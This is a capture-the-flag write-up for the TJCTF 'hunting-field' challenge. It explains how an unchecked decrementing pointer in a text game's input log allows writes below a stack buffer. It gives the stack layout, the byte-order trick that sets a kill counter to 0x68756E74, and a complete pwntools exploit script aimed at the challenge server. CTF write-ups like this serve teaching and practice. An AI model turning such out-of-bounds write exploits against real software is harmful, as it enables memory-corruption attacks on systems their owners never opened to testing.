$ cat writeup.md…
$ cat writeup.md…
tjctf
Task: text-based game with array pointer that decrements without bounds checking, allowing writes below the buffer into adjacent stack variable killCt. Solution: send 32 invalid inputs to exhaust the buffer, then overwrite killCt with the magic value 0x68756E74 ('hunt') via carefully ordered byte writes, then trigger game_over.
Take up your arms, and slay your enemies!
A text-based combat game on a 9×9 grid. The player (@) moves and attacks enemies (E) that spawn and chase the player. The binary is a dynamically linked, not stripped ELF 64-bit x86-64 executable with source code provided. The game_over() function prints the flag if the kill count equals the magic value 1752526452.
The game loop reads 2-character inputs (action + direction). Invalid inputs are logged into input_log[64] via a pointer array_ptr that starts at &input_log[63] and decrements by 1 for each character written, with no bounds checking:
char input_log[64]; int killCt = 0; int *kills = &killCt; char *array_ptr = &input_log[63]; while ((!strchr("MA", player_input[0])) || (!strchr("NESW", player_input[1]))) { scanf("%c", &player_input[0]); scanf("%c", &player_input[1]); int c; while ((c = getchar()) != '\n' && c != EOF); *array_ptr = player_input[0]; array_ptr -= sizeof(player_input[0]); // decrement, no bounds check! *array_ptr = player_input[1]; array_ptr -= sizeof(player_input[1]); }
Each invalid input writes 2 bytes and decrements array_ptr by 2. After 32 invalid inputs (64 bytes), the pointer has moved past the beginning of input_log and into adjacent stack variables.
rbp-0x41 to rbp-0x80: input_log[64] (array_ptr starts at rbp-0x41 = input_log[63])
rbp-0x81 to rbp-0x84: killCt (4-byte int, little-endian)
rbp-0x85 to rbp-0x86: player_input[2]
void game_over(int *kills) { if (*kills == 1752526452) { // reads and prints flag.txt } }
The magic value 1752526452 = 0x68756E74 is ASCII for "hunt" — a wordplay hint from the challenge name "hunting-field".
In little-endian byte order on the stack:
rbp-0x84 (LSB) = 0x74 = 't'rbp-0x83 = 0x6E = 'n'rbp-0x82 = 0x75 = 'u'rbp-0x81 (MSB) = 0x68 = 'h'Send 32 invalid 2-character inputs ("xx") to exhaust the 64-byte input_log buffer. After this, array_ptr points to rbp-0x81 (the MSB of killCt).
"hu": writes 'h' (0x68) to rbp-0x81 (killCt MSB), then 'u' (0x75) to rbp-0x82"nt": writes 'n' (0x6E) to rbp-0x83, then 't' (0x74) to rbp-0x84 (killCt LSB)This sets killCt = 0x68756E74 = 1752526452.
The pointer now points into the player_input memory area (rbp-0x85/rbp-0x86). Writing here corrupts the input validation variables, making it impossible to provide a valid input from this position. One more garbage input ("xx") moves the pointer past this area.
Send "MN" (Move North) — a valid input that passes the strchr checks and exits the inner while loop.
Keep sending "MN" on subsequent turns. Enemies spawn periodically and chase the player. Eventually an enemy walks into the player's tile, triggering game_over(kills) which checks *kills == 1752526452 and prints the flag.
from pwn import * context.log_level = 'info' io = remote('tjc.tf', 31412) # 32 padding invalid inputs to fill input_log for i in range(32): io.sendline(b'xx') # Overwrite killCt with 0x68756E74 ("hunt") io.sendline(b'hu') # 33rd: MSB(0x68) + byte2(0x75) io.sendline(b'nt') # 34th: byte1(0x6E) + LSB(0x74) # Skip past player_input area io.sendline(b'xx') # 35th: garbage # Valid input to exit loop io.sendline(b'MN') # 36th: move north # Keep moving until enemy reaches player → game_over for i in range(30): io.sendline(b'MN') io.recvuntil(b'Game Over!', timeout=30) result = io.recvuntil(b'}', timeout=10) print(result.decode()) io.close()
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar